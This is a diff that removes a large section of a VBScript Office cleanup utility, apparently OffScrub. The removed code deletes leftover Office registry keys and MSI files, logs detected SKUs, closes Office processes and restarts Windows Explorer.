-            sFName = "" : sFName = LCase(File.Path)
-            If LCase(Right(sFName,4)) = ".msi" Then
-                If Not InStr(sMsiList,sFName) > 0 Then
-                    'While this is an orphaned file keep the scope of Office only
-                    If UCase(Right(ProductCode(File.Path),PRODLEN))=OFFICEID Then DeleteFile File.Path
-                End If
-            End If 'LCase(Right(sFName,4)) = ".msi"
-        Next 'File
-    End If 'Err=0
-
-End Sub 'MsiClearOrphanedFiles
-'=======================================================================================================
-
-Sub RegWipe
-    Dim Item, Name, Sku, key
-    Dim hDefKey, sSubKeyName, sCurKey, value, sValue, sGuid
-    Dim fkeep, fSystemComponent0, fPackages, fDisplayVersion
-    Dim arrKeys, arrNames, arrTypes, arrMultiSzValues, arrMultiSzNewValues
-    Dim arrTestNames, arrTestTypes
-    Dim i, iLoopCnt, iPos
-    Dim fDelReg
-
-    Log vbCrLf & "Registry CleanUp"
-    'Wipe registry data
-
-    'User Profile settings
-    Log " - User Policies"
-    RegDeleteKey HKCU,"Software\Policies\Microsoft\Office\" & OVERSION & "\"
-    If NOT fKeepUser Then
-        RegDeleteKey HKCU,"Software\Microsoft\Office\" & OVERSION & "\"
-        Log " - User Settings"
-    End If 'fKeepUser
-
-    'Computer specific settings
-    If (fRemoveAll AND NOT fC2rInstalled) OR (fRemoveAll AND fForce) Then
-        Log " - Machine Settings"
-        RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\" & OVERSION & "\"
-        If fRemoveOse OR fForce Then
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office Test\"
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\","LastAccessInstall", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\","MID", False
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\Excel\Addins\Microsoft.PerformancePoint.Planning.Client.Excel\"
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\InfoPath\Converters\Import\InfoPath.DesignerExcelImport\Versions\",OVERSION, False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\InfoPath\Converters\Import\InfoPath.DesignerWordImport\Versions\",OVERSION, False
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\Outlook\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Export\MEWord12\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Export\Word12\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Export\Word97\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Import\MEWord12\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Import\Word12\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Import\Word97\"
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\","GrooveMonitor", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\","LobiServer", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\","BCSSync", False
-            RegDeleteKey HKLM,"SYSTEM\CurrentControlSet\Services\Outlook\"
-        End If
-        RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\OffDiag\Location\",OVERSIONMAJOR, False
-        RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Office\" & OVERSION & "\"
-        RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\OffDiag\Location\",OVERSIONMAJOR, False
-        RegDeleteKey HKLM,"SOFTWARE\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\"
-        RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\SOFTWARE\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\"
-
-        Select Case OVERSIONMAJOR
-        Case "11"
-            'Jet_Replication
-            sValue = ""
-            If RegReadValue(HKCR,"CLSID\{{CC2C83A6-9BE4-11D0-98E7-00C04FC2CAF5}\InprocServer32","SystemDB",sValue,"REG_SZ") Then
-                If Len(sValue) > Len(sOInstallRoot) Then
-                    If LCase(Left(sValue,Len(sOInstallRoot))) = LCase(sOInstallRoot) Then RegDeleteKey HKCR,"CLSID\{{CC2C83A6-9BE4-11D0-98E7-00C04FC2CAF5}\InprocServer32\"
-                End If
-            End If
-        Case "12"
-        Case "14"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform_Test\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\Common\ActiveX Compatibility\{{00024512-0000-0000-C000-000000000046}\"
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\OneNote\Adapters\","{{456B0D0E-49DD-4C95-8DB6-175F54DE69A3}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{42042206-2D85-11D3-8CFF-005004838597}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{993BE281-6695-4BA5-8A2A-7AACBFAAB69E}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{0006F045-0000-0000-C000-000000000046}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{C41662BB-1FA0-4CE0-8DC5-9B7F8279FF97}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{7CCA70DB-DE7A-4FB7-9B2B-52E2335A3B5A}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{506F4668-F13E-4AA1-BB04-B43203AB3CC0}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{D66DC78C-4F61-447F-942B-3FB6980118CF}", False
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{{B4F3A835-0E21-4959-BA22-42B3008E02FF}\"
-            'Groove Extensions
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks\","{{B5A7F190-DDA6-4420-B3BA-52453494E6CD}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{99FD978C-D287-4F50-827F-B2C658EDA8E7}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{AB5C5600-7E6E-4B06-9197-9ECEF74D31CC}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{920E6DB1-9907-4370-B3A0-BAFC03D81399}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{16F3DD56-1AF5-4347-846D-7C10C4192619}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{2916C86E-86A6-43FE-8112-43ABE6BF8DCC}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{72853161-30C5-4D22-B7F9-0BBC1D38A37E}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{6C467336-8281-4E60-8204-430CED96822D}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{2A541AE1-5BF6-4665-A8A3-CFA9672E4291}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{B5A7F190-DDA6-4420-B3BA-52453494E6CD}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{A449600E-1DC6-4232-B948-9BD794D62056}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{3D60EDA7-9AB4-4DA8-864C-D9B5F2E7281D}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{387E725D-DC16-4D76-B310-2C93ED4752A0}", False
-            RegDeleteKey HKLM,"SOFTWARE\Classes\*\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
-            RegDeleteKey HKLM,"SOFTWARE\Classes\AllFilesystemObjects\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
-            RegDeleteKey HKLM,"SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
-            RegDeleteKey HKLM,"SOFTWARE\Classes\Folder\ShellEx\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
-            RegDeleteKey HKLM,"SOFTWARE\Classes\Directory\Background\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 1 (GFS Unread Stub)\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 2 (GFS Stub)\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 2.5 (GFS Unread Folder)\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 3 (GFS Folder)\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 4 (GFS Unread Mark)\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{{72853161-30C5-4D22-B7F9-0BBC1D38A37E}\"
-
-        Case 15
-
-        Case Else
-        End Select
-
-        'Win32Assemblies
-        Log " - Win32Assemblies"
-        If RegEnumKey(HKCR,"Installer\Win32Assemblies\",arrKeys) Then
-            For Each Item in arrKeys
-                If InStr(UCase(Item),OREF)>0 Then RegDeleteKey HKCR,"Installer\Win32Assemblies\"&Item & "\"
-            Next 'Item
-        End If 'RegEnumKey
-        'Groove blocks reinstall if it locates groove.exe over this key
-        If RegKeyExists(HKCR,"GrooveFile\Shell\Open\Command\") Then
-            sValue = ""
-            RegReadValue HKCR,"GrooveFile\Shell\Open\Command\","",sValue,"REG_SZ"
-            If InStr(sValue,"\"&OREF&"\")>0 Then RegDeleteKey HKCR,"GrooveFile\"
-        End If 'RegKeyExists
-    End If 'fRemoveAll
-
-    Select Case OVERSIONMAJOR
-    Case "11"
-        For iLoopCnt = 1 to 3
-            Select Case iLoopCnt
-            Case 1
-                'CIW - HKCU
-                sSubKeyName = "Software\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\RegKeyPaths\"
-                hDefKey = HKCU
-            Case 2
-                'CIW - HKLM
-                sSubKeyName = "SOFTWARE\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\RegKeyPaths\"
-                hDefKey = HKLM
-            Case 3
-                'Add/Remove Programs
-                sSubKeyName = REG_ARP
-                hDefKey = HKLM
-            End Select
-
-            If RegEnumKey(hDefKey,sSubKeyName,arrKeys) Then
-                For Each Item in arrKeys
-                    'OFFICEID id
-                    If Len(Item)>37 Then
-                        sGuid = UCase(Left(Item,38))
-                        If Right(sGuid,PRODLEN)=OFFICEID Then
-                            If CheckDelete(sGuid) Then
-                                RegDeleteKey hDefKey, sSubKeyName & Item & "\"
-                            End If
-                        End If 'Right(Item,PRODLEN)=OFFICEID
-                    End If 'Len(Item)>37
-                Next 'Item
-                If iLoopCnt < 3 Then
-                    If RegEnumValues(hDefKey,sSubKeyName,arrNames,arrTypes) Then
-                        i = 0
-                        For Each Name in arrNames
-                            If RegReadValue(hDefKey,sSubKeyName,Name,sValue,arrTypes(i)) Then
-                                If sValue = sGuid Then RegDeleteValue hDefKey,sSubKeyName,Name, False
-                            End If
-                            i = i + 1
-                        Next
-                    End If
-                End If
-            End If
-            If NOT RegEnumKey(hDefKey,sSubKeyName,arrKeys) Then RegDeleteKey hDefKey,"Software\Microsoft\OfficeCustomizeWizard\11.0\"
-            If NOT RegEnumKey(hDefKey,"Software\Microsoft\OfficeCustomizeWizard\11.0\",arrKeys) Then RegDeleteKey hDefKey,"Software\Microsoft\OfficeCustomizeWizard\"
-        Next 'iLoopCnt
-    Case "12"
-        'Add/Remove Programs
-        RegWipeARP
-    Case "14"
-        'Add/Remove Programs
-        RegWipeARP
-    Case Else
-    End Select
-
-    'UpgradeCodes, WI config, WI global config
-    For iLoopCnt = 1 to 5
-        Select Case iLoopCnt
-        Case 1
-            Log " - HKLM UpgradeCodes"
-            sSubKeyName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UpgradeCodes\"
-            hDefKey = HKLM
-        Case 2
-            Log " - HKCR UpgradeCodes"
-            sSubKeyName = "Installer\UpgradeCodes\"
-            hDefKey = HKCR
-        Case 3
-            Log " - HKLM Products"
-            sSubKeyName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\"
-            hDefKey = HKLM
-        Case 4
-            Log " - HKCR Features"
-            sSubKeyName = "Installer\Features\"
-            hDefKey = HKCR
-        Case 5
-            Log " - HKCR Products"
-            sSubKeyName = "Installer\Products\"
-            hDefKey = HKCR
-        Case Else
-            sSubKeyName = ""
-            hDefKey = ""
-        End Select
-        If RegEnumKey(hDefKey,sSubKeyName,arrKeys) Then
-            For Each Item in arrKeys
-                'Ensure we have the expected length for a compressed GUID
-                If Len(Item)=32 Then
-                    'Expand the GUID
-                    sGuid = GetExpandedGuid(Item)
-                    'Check if it's an Office key
-                    If CheckDeleteEx (sGuid) Then
-                        RegDeleteKey hDefKey,sSubKeyName & Item & "\"
-                    Else
-                        If iLoopCnt < 3 Then
-                            'Enum all entries
-                            RegEnumValues hDefKey,sSubKeyName & Item,arrNames,arrTypes
-                            If IsArray(arrNames) Then
-                                'Delete entries within removal scope
-                                For Each Name in arrNames
-                                    If Len(Name)=32 Then
-                                        sGuid = GetExpandedGuid(Name)
-                                        If CheckDelete(sGuid) Then RegDeleteValue hDefKey, sSubKeyName & Item & "\", Name, True
-                                    Else
-                                        'Invalid data -> delete the value
-                                        RegDeleteValue hDefKey, sSubKeyName & Item & "\", Name, True
-                                    End If
-                                Next 'Name
-                            End If 'IsArray(arrNames)
-                            'If all entries were removed - delete the key
-                            RegEnumValues hDefKey,sSubKeyName & Item,arrNames,arrTypes
-                            If Not IsArray(arrNames) Then RegDeleteKey hDefKey, sSubKeyName & Item & "\"
-                        Else 'iLoopCnt >= 3
-                            If CheckDelete(sGuid) Then RegDeleteKey hDefKey, sSubKeyName & Item & "\"
-                        End If 'iLoopCnt < 3
-                    End If 'fRemoveAll
-                End If 'Len(Item)=32
-            Next 'Item
-        End If 'RegEnumKey
-    Next 'iLoopCnt
-
-    'Components
-    Log " - Global Components"
-    sSubKeyName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\"
-    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
-        For Each Item in arrKeys
-            'Ensure we have the expected length for a compressed GUID
-            If Len(Item)=32 Then
-                If RegEnumValues(HKLM,sSubKeyName & Item,arrNames,arrTypes) Then
-                    If IsArray(arrNames) Then
-                        For Each Name in arrNames
-                            If Len(Name)=32 Then
-                                sGuid = GetExpandedGuid(Name)
-                                If CheckDelete(sGuid) Then
-                                    RegDeleteValue HKLM, sSubKeyName & Item & "\", Name, False
-                                    'Check if the key is now empty
-                                    If NOT RegEnumValues(HKLM,sSubKeyName & Item,arrTestNames,arrTestTypes) Then
-                                        If NOT dicDelRegKey.Exists(sSubKeyName&Item&"\") Then dicDelRegKey.Add sSubKeyName&Item&"\",HKCR
-                                    End If
-                                End If
-                            End If '32
-                        Next 'Name
-                    End If 'IsArray
-                End If 'RegEnumValues
-            End If '32
-        Next 'Item
-    End If 'RegEnumKey
-
-    'Published Components
-    Log " - Published Components"
-    sSubKeyName = "Installer\Components\"
-    If RegEnumKey(HKCR,sSubKeyName,arrKeys) Then
-        For Each Item in arrKeys
-            'Ensure we have the expected length for a compressed GUID
-            If Len(Item)=32 Then
-                If RegEnumValues(HKCR,sSubKeyName & Item,arrNames,arrTypes) Then
-                    If IsArray(arrNames) Then
-                        For Each Name in arrNames
-                            If RegReadValue (HKCR,sSubKeyName & Item, Name, sValue,"REG_MULTI_SZ") Then
-                                arrMultiSzValues = Split(sValue,chr(34))
-                                If IsArray(arrMultiSzValues) Then
-                                    i = -1
-                                    ReDim arrMultiSzNewValues(-1)
-                                    fDelReg = False
-                                    For Each value in arrMultiSzValues
-                                        If Len(value) > 19 Then
-                                            sGuid = ""
-                                            If GetDecodedGuid(Left(value,SQUISHED),sGuid) Then
-                                                If CheckDelete(sGuid) Then
-                                                    fDelReg = True
-                                                Else
-                                                    i = i + 1
-                                                    ReDim Preserve arrMultiSzNewValues(i)
-                                                    arrMultiSzNewValues(i) = value
-                                                End If 'CheckDelete
-                                            End If 'decode
-                                        End If '19
-                                    Next 'Value
-                                    If NOT (i = -1) Then
-                                        If NOT fDetectOnly Then
-                                            If NOT UBound(arrMultiSzValues) = i Then oReg.SetMultiStringValue HKCR,sSubKeyName & Item,Name,arrMultiSzNewValues
-                                        End If
-                                    Else
-                                        If fDelReg Then
-                                            RegDeleteValue HKCR,sSubKeyName & Item & "\", Name, False
-                                            'Check if the key is now empty
-                                            If NOT RegEnumValues(HKCR,sSubKeyName & Item,arrTestNames,arrTestTypes) Then
-                                                If NOT dicDelRegKey.Exists(sSubKeyName&Item&"\") Then dicDelRegKey.Add sSubKeyName&Item&"\",HKCR
-                                            End If
-                                        End If 'DelReg
-                                    End If
-                                End If 'IsArray
-                            End If
-                        Next 'Name
-                    End If 'IsArray
-                End If 'RegEnumValues
-            End If '32
-        Next 'Item
-    End If 'RegEnumKey
-
-    'Delivery
-    Log " - Delivery"
-    hDefKey = HKLM
-    sSubKeyName = "SOFTWARE\Microsoft\Office\Delivery\SourceEngine\Downloads\"
-    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
-        For Each Item in arrKeys
-            If Len(Item) > 37 Then
-                If fRemoveAll Then
-                    If (Mid(Item,27,PRODLEN)=OFFICEID AND Mid(Item,4,2)=OVERSIONMAJOR) OR _
-                       LCase(Right(Item,7))=OVERSIONMAJOR&".data" Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
-                Else
-                    If (Mid(Item,27,PRODLEN)=OFFICEID AND Mid(Item,4,2)=OVERSIONMAJOR) AND _
-                       CheckDelete(UCase(Left(Item,38))) Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
-                End If
-            End If '37
-        Next 'Item
-    End If 'RegEnumKey
-
-    'Registration
-    Log " - HKLM Registration"
-    hDefKey = HKLM
-    sSubKeyName = "SOFTWARE\Microsoft\Office\"&OVERSION&"\Registration\"
-    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
-        For Each Item in arrKeys
-            If Len(Item)>37 Then
-                If CheckDelete(UCase(Left(Item,38))) Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
-            End If
-        Next 'Item
-    End If 'RegEnumKey
-
-    'User Preconfigurations
-    Log " - HKLM User Preconfigurations"
-    hDefKey = HKLM
-    sSubKeyName = "SOFTWARE\Microsoft\Office\"&OVERSION&"\User Settings\"
-    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
-        For Each Item in arrKeys
-            If Len(Item)>37 Then
-                If CheckDelete(UCase(Left(Item,38))) Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
-            End If
-        Next 'Item
-    End If 'RegEnumKey
-
-    'Known Keypath settings
-    Log " - Detcted KeyPath settings"
-    For Each key in dicDelRegKey.Keys
-        If Right(key,1) = "\" Then
-            RegDeleteKey dicDelRegKey.Item(key),key
-        Else
-            iPos = InStrRev(Key,"\")
-            If iPos > 0 Then RegDeleteValue dicDelRegKey.Item(key), Left(key,iPos - 1), Mid(key,iPos+1), False
-        End If
-    Next
-
-    'Temporary entries in ARP
-    TmpKeyCleanUp
-End Sub 'RegWipe
-'=======================================================================================================
-
-'Clean up Add/Remove Programs registry
-Sub RegWipeARP
-
-    Dim Item, Name, Sku, key
-    Dim sSubKeyName, sCurKey, sValue, sGuid
-    Dim fkeep, fSystemComponent0, fPackages, fDisplayVersion
-    Dim arrKeys
-
-    'Add/Remove Programs
-    sSubKeyName = REG_ARP
-    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
-        For Each Item in arrKeys
-            '*0FF1CE*
-            If Len(Item)>37 Then
-                sGuid = UCase(Left(Item,38))
-                If CheckDeleteEx(sGuid) Then RegDeleteKey HKLM, sSubKeyName & Item
-            End If 'Len(Item)>37
-
-            'Config entries
-            sCurKey = sSubKeyName & Item & "\"
-            fSystemComponent0 = Not (RegReadValue(HKLM,sCurKey,"SystemComponent",sValue,"REG_DWORD") AND (sValue = "1"))
-            fPackages = RegReadValue(HKLM,sCurKey,OPACKAGE,sValue,"REG_MULTI_SZ")
-            fDisplayVersion = RegReadValue(HKLM,sCurKey,"DisplayVersion",sValue,"REG_SZ")
-            If fDisplayVersion AND Len(sValue) > 1 Then
-                fDisplayVersion = (Left(sValue,2) = OVERSIONMAJOR)
-            End If
-            If (fSystemComponent0 AND fPackages AND fDisplayVersion) Then
-                fKeep = False
-                If Not fRemoveAll Then
-                    For Each Sku in dictionaryKeepSku.Keys
-                        If UCase(Item) = OREGREF & Sku Then
-                            fkeep = True
-                            Exit For
-                        End If
-                    Next 'Sku
-                End If
-                If Not fkeep Then RegDeleteKey HKLM, sSubKeyName & Item
-            End If
-        Next 'Item
-    End If 'RegEnumKey
-
-End Sub 'RegWipeARP
-'=======================================================================================================
-
-'Clean up temporary registry keys
-Sub TmpKeyCleanUp
-    Dim TmpKey
-
-    If fLogInitialized Then Log " - temporary OffScrub registry entries"
-    If IsArray(arrTmpSKUs) Then
-        For Each TmpKey in arrTmpSKUs
-            oReg.DeleteKey HKLM, REG_ARP & TmpKey
-        Next 'Item
-    End If 'IsArray
-End Sub 'TmpKeyCleanUp
-
-'=======================================================================================================
-' Helper Functions
-'=======================================================================================================
-
-'Create a log with the results of the SKU detection
-Sub LogSkuResults
-    Dim SkuLog, SkuKey , p
-
-    On Error Resume Next 'Don't fail on logging
-
-    Set SkuLog = oFso.OpenTextFile(sScrubDir & "\SkuLog.txt",FOR_WRITING,True,True)
-
-    SkuLog.WriteLine "Installed SKUs (All):"
-    SkuLog.WriteLine "====================="
-    For Each SkuKey in dicInstalledSku.Keys
-        SkuLog.WriteLine " - " & SkuKey
-    Next 'Key
-
-    SkuLog.WriteLine vbCrLf & "Server SKUs:"
-    SkuLog.WriteLine          "============"
-    For Each SkuKey in dicSrv.Keys
-        SkuLog.WriteLine " - " & SkuKey
-    Next 'Key
-
-    SkuLog.WriteLine vbCrLf & "Client Suite SKUs:"
-    SkuLog.WriteLine          "=================="
-    For Each SkuKey in dicCSuite.Keys
-        SkuLog.WriteLine " - " & SkuKey
-    Next 'Key
-
-    SkuLog.WriteLine vbCrLf & "Client Standalone SKUs:"
-    SkuLog.WriteLine          "======================="
-    For Each SkuKey in dicCSingle.Keys
-        SkuLog.WriteLine " - " & SkuKey
-    Next 'Key
-
-    SkuLog.WriteLine vbCrLf & "Installed Products (All):"
-    SkuLog.WriteLine          "========================="
-    For Each p in oMsi.Products
-        If InScope(p) Then
-            SkuLog.Write " - " & p & " - "
-            SkuLog.Write oMsi.ProductInfo(p, "ProductName")
-            SkuLog.WriteLine " "
-        End If
-    Next 'Product
-
-    SkuLog.WriteLine vbCrLf & "***************************************************************************************************" & vbCrLf
-
-    SkuLog.WriteLine vbCrLf & "SKUs to keep:"
-    SkuLog.WriteLine          "============="
-    For Each SkuKey in dictionaryKeepSku.Keys
-        SkuLog.WriteLine " - " & SkuKey
-    Next 'Key
-
-    SkuLog.WriteLine vbCrLf & "Products to keep:"
-    SkuLog.WriteLine          "================="
-    For Each p in dictionaryKeepProd.Keys
-        SkuLog.Write " - " & p & " - "
-        SkuLog.Write oMsi.ProductInfo(p, "ProductName")
-        SkuLog.WriteLine " "
-    Next 'Key
-
-    SkuLog.WriteLine vbCrLf & "***************************************************************************************************" & vbCrLf
-
-    SkuLog.WriteLine vbCrLf & "SKUs to remove:"
-    SkuLog.WriteLine          "==============="
-    For Each SkuKey in dicRemoveSku.Keys
-        SkuLog.WriteLine " - " & SkuKey
-    Next 'Key
-
-    SkuLog.WriteLine vbCrLf & "Products to remove:"
-    SkuLog.WriteLine          "==================="
-    For Each p in oMsi.Products
-        If CheckDeleteEx(p) Then
-            SkuLog.Write " - " & p & " - "
-            SkuLog.Write oMsi.ProductInfo(p, "ProductName")
-            SkuLog.WriteLine " "
-        End If 'InScope
-    Next 'Product
-
-    SkuLog.Close
-    Set SkuLog = Nothing
-
-End Sub 'LogSkuResults
-'=======================================================================================================
-
-'End all running instances of applications that will be removed
-Sub CloseOfficeApps
-    Dim Processes, Process, prop
-    Dim fWait
-    Dim iRet
-
-    On Error Resume Next
-
-    fWait = False
-    Log " Doing Action: CloseOfficeApps"
-
-    Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process")
-    For Each Process in Processes
-        If dicApps.Exists(LCase(Process.Name)) Then
-            Log " - End process " & Process.Name
-            iRet = Process.Terminate()
-            CheckError "CloseOfficeApps: " & "Process.Name"
-        Else
-            For Each prop in Process.Properties_
-                If prop.Name = "ExecutablePath" Then
-                    If InStr(UCase(prop.Value), UCase(sOInstallRoot)) > 0 Then
-                        Log " - End process '" & Process.Name
-                        iRet = Process.Terminate()
-                        CheckError "CloseOfficeApps: " & "Process.Name"
-                        fWait = True
-                    End If
-                End If 'ExcecutablePath
-            Next 'prop
-        End If
-    Next 'Process
-    If fWait Then
-        wscript.sleep 10000
-    End If
-    LogOnly " End Action: CloseOfficeApps"
-End Sub 'CloseOfficeApps
-'=======================================================================================================
-
-'Ensure Windows Explorer is restarted if needed
-Sub RestoreExplorer
-    Dim Processes, Result, oAT, DateTime, JobID
-    Dim sCmd
-
-    'Non critical routine. Don't fail on error
-    On Error Resume Next
-    wscript.sleep 1000
-    Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name='explorer.exe'")
-    If Processes.Count < 1 Then
-        oWShell.Run "explorer.exe"
-        'To handle this in case of System context, schedule and run as interactive task
-        If iVersionNT > 502 Then
-            'Vista and later
-            oWShell.Run "SCHTASKS /Create /TN OffScrEx /TR explorer /SC ONCE /ST 12:00 /IT",0,True
-            oWShell.Run "SCHTASKS /Run /TN OffScrEx", 0, True
-            oWShell.Run "SCHTASKS /Delete /TN OffScrEx /F", 0, False
-        Else
-            Set oAT = oWmiLocal.Get("Win32_ScheduledJob")
-            Set DateTime = CreateObject("WbemScripting.SWbemDateTime")
-            DateTime.SetVarDate DateAdd("n",1,Now),True
-            Result = oAT.Create("explorer.exe", DateTime.Value, , , , True, JobID)
-        End If 'iVersionNT
-    End If
-End Sub 'RestoreExploer
-'=======================================================================================================
-
-'Returns the delimiter for a passed in string
-Function Delimiter (sVersion)
-
-    Dim iCnt, iAsc
-
-    Delimiter = " "
-    For iCnt = 1 To Len(sVersion)
-        iAsc = Asc(Mid(sVersion, iCnt, 1))
-        If Not (iASC >= 48 And iASC <= 57) Then
-            Delimiter = Mid(sVersion, iCnt, 1)
-            Exit Function
-        End If
-    Next 'iCnt
-End Function
-'=======================================================================================================
-
-'Check registry access permissions. Failure will terminate the script
-Function CheckRegPermissions
-    Const KEY_QUERY_VALUE       = &H0001
-    Const KEY_SET_VALUE         = &H0002
-    Const KEY_CREATE_SUB_KEY    = &H0004
-    Const DELETE                = &H00010000
-
-    Dim sSubKeyName
-    Dim fReturn
-
-    CheckRegPermissions = True
-    sSubKeyName = "Software\Microsoft\Windows\"
-    oReg.CheckAccess HKLM, sSubKeyName, KEY_QUERY_VALUE, fReturn
-    If Not fReturn Then CheckRegPermissions = False
-    oReg.CheckAccess HKLM, sSubKeyName, KEY_SET_VALUE, fReturn
-    If Not fReturn Then CheckRegPermissions = False
-    oReg.CheckAccess HKLM, sSubKeyName, KEY_CREATE_SUB_KEY, fReturn
-    If Not fReturn Then CheckRegPermissions = False
-    oReg.CheckAccess HKLM, sSubKeyName, DELETE, fReturn
-    If Not fReturn Then CheckRegPermissions = False
-
-End Function 'CheckRegPermissions
-'=======================================================================================================
-
-'Check if a product will be removed
-Function CheckDeleteEx (sProductCode)
-
-    CheckDeleteEx = False
-    If CheckDelete (sProductCode) Then
-        CheckDeleteEx = True
-        Exit Function
-    End If
-    If (fRemoveAll AND NOT fC2rInstalled) OR (fRemoveAll AND fForce) Then
-        CheckDeleteEx = InScope(sProductCode) AND NOT dictionaryKeepProd.Exists(UCase(sProductCode))
-    End If
-End Function 'CheckDelete
-'=======================================================================================================
-
-'Check if an Office product is still registered with a SKU that stays on the computer
-Function CheckDelete (sProductCode)
-
-    'Ensure valid GUID length
-    If NOT Len(sProductCode) = 38 Then
-        CheckDelete = False
-        Exit Function
-    End If
-
